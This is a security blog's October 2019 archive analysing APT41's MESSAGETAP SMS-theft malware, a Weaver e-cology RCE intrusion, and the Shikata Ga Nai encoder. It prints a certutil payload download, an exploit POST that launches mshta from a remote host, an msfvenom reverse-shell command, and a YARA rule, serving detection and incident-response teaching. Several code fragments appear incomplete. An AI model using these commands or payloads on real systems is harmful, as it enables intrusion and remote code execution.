Monthly Archives: October 2019

MESSAGETAP: Who’s Reading Your Text Messages?

FireEye Mandiant recently discovered a new malware family used by APT41 (a Chinese APT group) that is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft. Named MESSAGETAP, the tool was deployed by APT41 in a telecommunications network provider in support of Chinese espionage efforts. APT41’s operations have included state-sponsored cyber espionage missions as well as financially-motivated intrusions. These operations have spanned from as early as 2012 to the present day. For an overview of APT41, see our August 2019 blog post or our full published report. MESSAGETAP was first reported to FireEye Threat Intelligence subscribers in August 2019 and initially discussed publicly in an APT41 presentation at FireEye Cyber Defense Summit 2019.


APT41's newest espionage tool, MESSAGETAP, was discovered during a 2019 investigation at a telecommunications network provider within a cluster of Linux servers. Specifically, these Linux servers operated as Short Message Service Center (SMSC) servers. In mobile networks, SMSCs are responsible for routing Short Message Service (SMS) messages to an intended recipient or storing them until the recipient has come online. With this background, let's dig more into the malware itself.

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds.  If either exist, the contents are read and XOR decoded with the string:

    • Interestingly, this XOR key leads to a URL owned by the European Telecommunications Standards Institute (ETSI). The document explains the Short Message Service (SMS) for GSM and UMTS Networks. It describes architecture as well as requirements and protocols for SMS.

These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages.

  • The first file (parm.txt) is a file containing two lists:
    • imsiMap: This list contains International Mobile Subscriber Identity (IMSI) numbers. IMSI numbers identify subscribers on a cellular network.
    • phoneMap: The phoneMap list contains phone numbers.
  • The second file (keyword_parm.txt) is a list of keywords that is read into keywordVec.

Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data from the network traffic:

  1. SMS message contents
  2. The IMSI number
  3. The source and destination phone numbers

The malware searches the SMS message contents for keywords from the keywordVec list, compares the IMSI number with numbers from the imsiMap list, and checks the extracted phone numbers with the numbers in the phoneMap list.

Figure 1: General Overview Diagram of MESSAGETAP

If the SMS message text contains one of the keywordVec values, the contents are XORed and saved to a path with the following format:

  • /etc/<redacted>/kw_<year><month><day>.csv

The malware compares the IMSI number and phone numbers with the values from the imsiMap and phoneMap lists. If found, the malware XORs the contents and stores the data in a path with the following format:

  • /etc/<redacted>/<year><month><day>.csv

If the malware fails to parse a message correctly, it dumps it to the following location:

  • /etc/<redacted>/<year><month><day>_<count>.dump

Significance of Input Files

The configuration files provide context into the targets of this information gathering and monitoring campaign. The data in keyword_parm.txt contained terms of geopolitical interest to Chinese intelligence collection. The two lists phoneMap and imsiMap from parm.txt contained a high volume of phone numbers and IMSI numbers.

For a quick review, IMSI numbers are used in both GSM (Global System for Mobiles) and UMTS (Universal Mobile Telecommunications System) mobile phone networks and consists of three parts:

  1. Mobile Country Code (MCC)
  2. Mobile Network Code (MNC)
  3. Mobile Station Identification Number (MSIN)

The Mobile Country Code corresponds to the subscriber’s country, the Mobile Network Code corresponds to the specific provider and the Mobile Station Identification Number is uniquely tied to a specific subscriber.

Figure 2: IMSI number description

The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor.

Similarly, the keyword list contained items of geopolitical interest for Chinese intelligence collection. Sanitized examples include the names of political leaders, military and intelligence organizations and political movements at odds with the Chinese government. If any SMS messages contained these keywords, MESSAGETAP would save the SMS message to a CSV file for later theft by the threat actor.

In addition to MESSAGETAP SMS theft, FireEye Mandiant also identified the threat actor interacting with call detail record (CDR) databases to query, save and steal records during this same intrusion. The CDR records corresponded to foreign high-ranking individuals of interest to the Chinese intelligence services. Targeting CDR information provides a high-level overview of phone calls between individuals, including time, duration, and phone numbers. In contrast, MESSAGETAP captures the contents of specific text messages.

Looking Ahead

The use of MESSAGETAP and targeting of sensitive text messages and call detail records at scale is representative of the evolving nature of Chinese cyber espionage campaigns observed by FireEye. APT41 and multiple other threat groups attributed to Chinese state-sponsored actors have increased their targeting of upstream data entities since 2017. These organizations, located multiple layers above end-users, occupy critical information junctures in which data from multitudes of sources converge into single or concentrated nodes. Strategic access into these organizations, such as telecommunication providers, enables the Chinese intelligence services an ability to obtain sensitive data at scale for a wide range of priority intelligence requirements.

In 2019, FireEye observed four telecommunication organizations targeted by APT41 actors. Further, four additional telecommunications entities were targeted in 2019 by separate threat groups with suspected Chinese state-sponsored associations. Beyond telecommunication organizations, other client verticals that possess sensitive records related to specific individuals of interest, such as major travel services and healthcare providers, were also targeted by APT41. This is reflective of an evolving Chinese targeting trend focused on both upstream data and targeted surveillance. For deeper analysis regarding recent Chinese cyber espionage targeting trends, customers may refer to the FireEye Threat Intelligence Portal. This topic was also briefed at FireEye Cyber Defense Summit 2019.

FireEye assesses this trend will continue in the future. Accordingly, both users and organizations must consider the risk of unencrypted data being intercepted several layers upstream in their cellular communication chain. This is especially critical for highly targeted individuals such as dissidents, journalists and officials that handle highly sensitive information. Appropriate safeguards such as utilizing a communication program that enforces end-to-end encryption can mitigate a degree of this risk. Additionally, user education must impart the risks of transmitting sensitive data over SMS. More broadly, the threat to organizations that operate at critical information junctures will only increase as the incentives for determined nation-state actors to obtain data that directly support key geopolitical interests remains.

FireEye Detections

  • FE_APT_Controller_SH_MESSAGETAP_1
  • FE_APT_Trojan_Linux64_MESSAGETAP_1
  • FE_APT_Trojan_Linux_MESSAGETAP_1   
  • FE_APT_Trojan_Linux_MESSAGETAP_2    
  • FE_APT_Trojan_Linux_MESSAGETAP_3

Example File

  • File name: mtlserver
  • MD5 hash: 8D3B3D5B68A1D08485773D70C186D877

*This sample was identified by FireEye on VirusTotal and provides an example for readers to reference. The file is a less robust version than instances of MESSAGETAP identified in intrusions and may represent an earlier test of the malware. The file and any of its embedded data were not observed in any Mandiant Consulting engagement*



Thank you to Adrian Pisarczyk, Matias Bevilacqua and Marcin Siedlarz for identification and analysis of MESSAGETAP at a FireEye Mandiant Consulting engagement.

CertUtil Qualms: They Came to Drop FOMBs

This blog post covers an interesting intrusion attempt that FireEye Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". 


Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file .

Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar




Display or delete URL cache entries


Split embedded ASN.1 elements, and save to files



Force overwrite

(Source: Microsoft certutil page)

FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.

Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).

Figure 1: Proposed use of MOF files for red and blue teams

We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:

On Error Resume Next:execmydler():Function execmydler():Set
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. 

Uncovering the Exploit

The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

'-` 2886000`` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload.

String it to Weaver

Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 
   'Accept-Language': 'zh-CN,zh;q=0.9', 
   'Content-Type': 'application/x-www-form-urlencoded'


def exploit(url,cmd): 

if __name__ == '__main__': 

The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable.


This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.

There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about FireEye Managed Defense here.

Weaver Build Timeline

  • 2019-09-20: Weaver Patch released
  • 2019-09-20: Exploit observed in Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China


Shikata Ga Nai Encoder Still Going Strong

One of the most popular exploit frameworks in the world is Metasploit. Its vast library of pocket exploits, pluggable payload environment, and simplicity of execution makes it the de facto base platform. Metasploit is used by pentesters, security enthusiasts, script kiddies, and even malicious actors. It is so prevalent that its user base even includes APT threat actors, as we will demonstrate later in the blog post.

Despite Metasploit’s over 15 year existence, there are still core techniques that go undetected, allowing malicious actors to evade detection. One of these core techniques is the Shikata Ga Nai (SGN) payload encoding scheme. Modern detection systems have improved dramatically over the last several years and will often catch plain vanilla versions of known malicious methods. In many cases though, if a threat actor knows what they are doing they can slightly modify existing code to bypass detection.

Before we jump into how SGN works we’ll give a little background knowledge surrounding it. When threat actors plan to attack systems, they go through an assessment process of risk and reward. They cycle through questions of stealth and attribution. Some of these questions include: How much effort do I need to put into not getting caught? What happens if I get caught? How long can I reasonably evade detection? Will the discovery of my presence be attributed back to me? One such way APT actors have attempted to elude detection in the first place has been via encoding.

We know shellcode is primarily a set of instructions designed to manipulate execution of a program in ways not originally intended. The goal is to inject this shellcode into a vulnerable process. To manually create shellcode, one can pull the opcodes from machine code directly or pull them from an assembler/disasembler tool such as MASM (Microsoft Macro Assembler). Raw generated opcodes often will not execute out of the box. They often require being touched up and made compatible with the processor they are executed on and the programming language they are being used for. An encoding scheme such as SGN takes care of these incompatibilities. Also, shellcode in a non-obfuscated state can be readily recognizable via static detection techniques. SGN provides obfuscation and at a first glance, randomness in the obfuscation of the shellcode.

Metasploit’s default configuration encodes all payloads. While Metasploit contains a variety of encoders, the most popular has been SGN. The phrase SGN in the Japanese language means “nothing can be done”. It was given this name as at the time it was created traditional anti-virus products had difficulty with detection. As mentioned, some AV vendors are now catching vanilla implementations, but miss slightly modified variants.

SGN is a polymorphic XOR additive feedback encoder. It is polymorphic in that each creation of encoded shellcode is going to be different from the next. It accomplishes this through a variety of techniques such as dynamic instruction substitution, dynamic block ordering, randomly interchanging registers, randomizing instruction ordering, inserting junk code, using a random key, and randomization of instruction spacing between other instructions. The XOR additive feedback piece in this case refers to the fact the algorithm is XORing future instructions via a random key and then adding that instruction to the key to be used again to encode the next instruction. Decoding the shellcode is a process of following the steps in reverse.

Creating an SGN Encoded Payload

The following steps can be recreated with Metasploit and your choice of debugging/disassembly tools:

  1. First create a plain vanilla SGN encoded payload:
    msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST= LPORT=80 -b "\x00" -e x86/shikata_ga_nai -f exe -o /root/Desktop/metasploit/IamNotBad.exe
  2. Open the file in a disassembler. Upon looking at the binary in a disassembler, you first notice a great deal of junk instructions (Figure 1). Also, Metasploit by default does not set the memory location of the code (.text section in this case) as writable. This will need to be set, otherwise the shellcode will not run.

Figure 1: Junk instructions when viewing the binary in a disassembler

Figure 2: RWX Flag = E0000020

Figure 3: Skip the junk code and go directly to the algorithm, which can be done by inserting a jump instruction

Algorithm Breakdown

The algorithm consists of:

  1. Initialization key specification.
  2. Retrieve a location relative to EIP (so that we can modify instructions moving forward based on the address obtained)
    • Metasploit commonly uses the fstenv/fnstenv instructions to put it on the stack where it can be popped into a register for use. There are other ways to get EIP if wanted.
  3. Go through a loop to decode other instructions (by default encoded instructions will all resides in the .text section)
    • Vanilla SGN zeroes out the register to be used as the counter and explicitly moves the counter value into the register, so the loop portion is obvious. The loop instruction is encoded so you won’t see it until decoding has gone far enough.
    • SGN decodes instructions at a higher memory address (it could do lower addresses if it wanted to for more trickery). This is done by adding a value to the stored address from before (the one relative to EIP) and XORing it with the key. In the example that follows you see the instruction XOR  [eax+18h], esi  t .text:00408B98.
    • The address from earlier (the one relative to EIP) is then modified and the key may also be modified [Metasploit by default usually adds or subtracts an instruction value somewhere relative to the address stored from before (the one relative to EIP)].
    • The loop continues until all instructions are decoded and then it moves execution to the decoded shellcode. In this case the reverse shellcode.
  4. As a side note, Shikata Ga Nai allows for multiple iterations. If multiple iterations are chosen, steps 1 to 3 are repeated after the completion of the current iteration.

As you can see from each of the aforementioned steps, if you’re a defender and solely relying on static detection, detection can be quite difficult. With something encoded like this, it is difficult to statically detect the specific malicious behavior without unrolling the encoded instructions. Constantly scanning memory is computationally expensive, making it less feasible. This leaves most detection platforms relying on the option of detecting via behavioral indicators or sandboxes.

Figure 4: Code before decoding

Figure 5: Instructions being decoded

For many of those that have been in cyber security for a while, this is not new. What is still relevant though is the fact that many malicious payloads encoded with SGN are still making it past defenses and still being used by threat actors. We noticed SGN encoded payloads still making it onto systems and we decided to investigate further. The results were both rewarding and surprising and led to additional detection methods discussed in the “Detection” section. It also gave us more awareness as to the extent SGN was still being used. The following is an example of a payload we recovered from an APT actor.

Embedding a Payload

For this example, we used an existing APT41 sample and embedded the payload into a benign PE. This APT41 sample is shellcode that is Shikata Ga Nai encoded.

MD5: def46c736a825c357918473e3c02b3ef

We will take a benign PE we created (ImNotBad.exe) and we will embed the APT41 sample to show SGN in action. We create a new section called NewSec and set the section values appropriately.

Figure 6: Calculate the size of the shell code. Start address 12000 and End Address 94C10. Make sure the size is within data that is there. The difference is 82c10.

Figure 7: Insert the shell code into the benign PE (ImNotBad.exe)

Figure 8: The embedded shellcode can be found in the code

Figure 9: Patch the code to jump to it

Figure 10: Here are the four steps from the Shikata Ga Nai algorithm (mentioned previously) demonstrated

In Figure 11 and Figure 12, as the first set of instructions are decoded it appears it is attempting to avoid normal execution. EA 25 D9 74 24 F4 BB => Note how the EA and 25 are inserted to cause code to crash (jumping to a curious spot in the code). Further effort was not applied to investigate the crash correctly, but when patching the code with nops, it executes the next decode sequence.

Figure 11: Set of instructions are decoded it appears it is attempting to avoid normal execution

Figure 12: Set of instructions are decoded it appears it is attempting to avoid normal execution


Detecting SGN encoded payloads can be difficult as a defender, especially if static detection is heavily relied upon. Decoding and unraveling the encoded instructions is necessary to identify the intended malicious purposes. Constantly scanning memory is computationally expensive, making it less feasible. This leaves most detection platforms relying on detection via behavioral indicators and sandboxes. FireEye appliances contain both static and dynamic detection components. Detection is achieved by a variety of engines, including FireEye's machine learning engine, MalwareGuard. The numerous engines within FireEye appliances serve specific purposes and have different strengths and weaknesses. Creating detection around these various engines allows FireEye to utilize each of their strengths. Correlating activity between these engines allows for unique detection opportunities. This also allows for production detections that would otherwise not be possible when relying on a single engine for detection. We were able to create production detections correlating the different engines on the FireEye appliances to detect SGN encoded binaries with a high fidelity. The current production detections take advantage of static, dynamic and machine learning engines within the FireEye appliance.

As an example of the complications concerned with detecting SGN, we will construct code encoded with a slightly modified version of Metasploit’s plain SGN algorithm (Figure 13): 

Figure 13: Example code for possible static detection

One of the keys to writing a good static detection rule is recognizing the unique malicious behaviors of what you are trying to detect. Next, being able to capture as much of that behavior without causing false positives (FPs). Earlier in the post we listed the core behaviors of the SGN algorithm. For sake of illustration, let’s try to match on some of those behaviors. We’ll attempt to match on the key, the mechanism used to get EIP, and the XOR additive feedback loop.

If we were trying to detect the code in Figure 13 statically, we could use the open source tool Yara. As a first pass we could construct the following rule (Figure 14):

Figure 14: Example SGN YARA static detection rule for the code in Figure 17

In the rule in Figure 14 we have added padding bytes to try and thwart an attacker that would insert junk instructions. If an adversary realized what we were matching on it could be easily defeated by inserting junk code beyond our padding. We could play the game of cat and mouse and continue to increase our padding based on what we saw, but this is not a good solution. In addition, as we pad more bytes out, the rule becomes more FP prone. Besides adding junk code, other obvious evasion techniques an attacker could use include: using different registers, performing arithmetic operations to obtain values or reordering instructions. Metasploit does a decent job randomizing the algorithm with these things which makes static detection more difficult. As we try to catch each modified version it could be never-ending.

Static detection is a useful technique, but very limited. If this is all you rely on, you will miss much of the malicious behavior getting onto your systems. For SGN, we studied it further and identified the core behavioral pieces. We saw how it was still being used by modern malware. The following is an example hunting rule that can be used to detect some of the current common permutations created by vanilla x86-SGN in Metasploit. This rule can be further expanded upon to include additional logic if desired.

rule Hunting_Rule_ShikataGaNai
        author = "Steven Miller"
        $varInitializeAndXorCondition1_XorEAX = { B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
        $varInitializeAndXorCondition1_XorEBP = { BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
        $varInitializeAndXorCondition1_XorEBX = { BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
        $varInitializeAndXorCondition1_XorECX = { B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
        $varInitializeAndXorCondition1_XorEDI = { BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
        $varInitializeAndXorCondition1_XorEDX = { BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
        $varInitializeAndXorCondition2_XorEAX = { D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
        $varInitializeAndXorCondition2_XorEBP = { D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
        $varInitializeAndXorCondition2_XorEBX = { D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
        $varInitializeAndXorCondition2_XorECX = { D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
        $varInitializeAndXorCondition2_XorEDI = { D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
        $varInitializeAndXorCondition2_XorEDX = { D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
        any of them


Metasploit is used by many different people for many different reasons. Some may use Metasploit for legitimate purposes such as red team engagements, research or educational tasks, while others may use the framework with a malicious intent. In the latter category, FireEye has historically observed APT20, a suspected Chinese nation state sponsored threat group, utilize Metasploit with SGN encoded payloads. APT20 is one of the many named threat groups that FireEye tracks. This group has a primary focus on stealing data, specifically intellectual properties. Other named groups include APT41 and FIN6. APT41 was formally disclosed by FireEye Intelligence earlier this year. This group has utilized SGN encoded payloads within custom developed backdoors. APT41 is a Chinese cyber threat group that has been observed carrying out financially motivated missions coinciding with cyber-espionage operations. Financial threat group FIN6 has also used SGN encoded payloads to carry out their missions, and they have historically relied upon various publicly available tools. These missions largely involve theft of payment card data from point-of-sale systems. FireEye has also observed numerous uncategorized threat groups utilizing payloads encoded with SGN. These are groups that FireEye tracks internally, but have not been announced formally. One of these groups in particular is UNC902, which is largely known as the financially motivated group TA505 in public threat reports. FireEye has observed UNC902 extensively use SGN encoding within their payloads and we continue to see activity related to this group, even as recently as October 2019. Outside of these groups, we continue to observe usage of SGN encoding within malicious samples. FireEye currently identifies hundreds of SGN encoded payloads on a monthly basis. SGN encoded payloads are not always used with the same intent, but this is one side effect of being embedded into such a popular and freely available framework. Looking forward, we expect to see continued usage of SGN encoded payloads.

Definitive Dossier of Devilish Debug Details – Part Deux: A Didactic Deep Dive into Data Driven Deductions

In Part One of this blog series, Steve Miller outlined what PDB paths are, how they appear in malware, how we use them to detect malicious files, and how we sometimes use them to make associations about groups and actors.

As Steve continued his research into PDB paths, we became interested in applying more general statistical analysis. The PDB path as an artifact poses an intriguing use case for a couple of reasons.

­First, the PDB artifact is not directly tied to the functionality of the binary. As a byproduct of the compilation process, it contains information about the development environment, and by proxy, the malware author themselves. Rarely do we encounter static malware features with such an interesting tie to the human behind the keyboard, rather than the functionality of the file.

Second, file paths are an incredibly complex artifact with many different possible encodings. We had personally been dying to find an excuse to spend more time figuring out how to parse and encode paths in a more useful way. This presented an opportunity to dive into this space and test different approaches to representing file paths in various models.

The objectives of our project were:

  1. Build a large data set of PDB paths and apply some statistical methods to find potentially new signature terms and logic.
  2. Investigate whether applying machine learning classification approaches to this problem could improve our detection above writing hand-crafted signatures.
  3. Build a PDB classifier as a weak signal for binary analysis.

To start, we began gathering data. Our dataset, pulled from internal and external sources, started with over 200,000 samples. Once we deduplicated by PDB path, we had around 50,000 samples. Next, we needed to consistently label these samples, so we considered various labeling schemes.

Labeling Binaries With PDB Paths

For many of the binaries we had internal FireEye labels, and for others we looked up hashes on VirusTotal (VT) to have a look at their detection rates. This covered the majority of our samples. For a relatively small subset we had disagreements between our internal engine and VT results, which merited a slightly more nuanced policy. The disagreement was most often that our internal assessment determined a file to be benign, but the VT results showed a nonzero percentage of vendors detecting the file as malicious. In these cases we plotted the ‘VT ratio”: that is, the percentage of vendors labeling the files as malicious (Figure 1).

Figure 1: Ratio of vendors calling file bad/total number of vendors

The vast majority of these samples had VT detection ratios below 0.3, and in those cases we labeled the binaries as benign. For the remainder of samples we tried two strategies – marking them all as malicious, or removing them from the training set entirely. Our classification performance did not change much between these two policies, so in the end we scrapped the remainder of the samples to reduce label noise.

Building Features

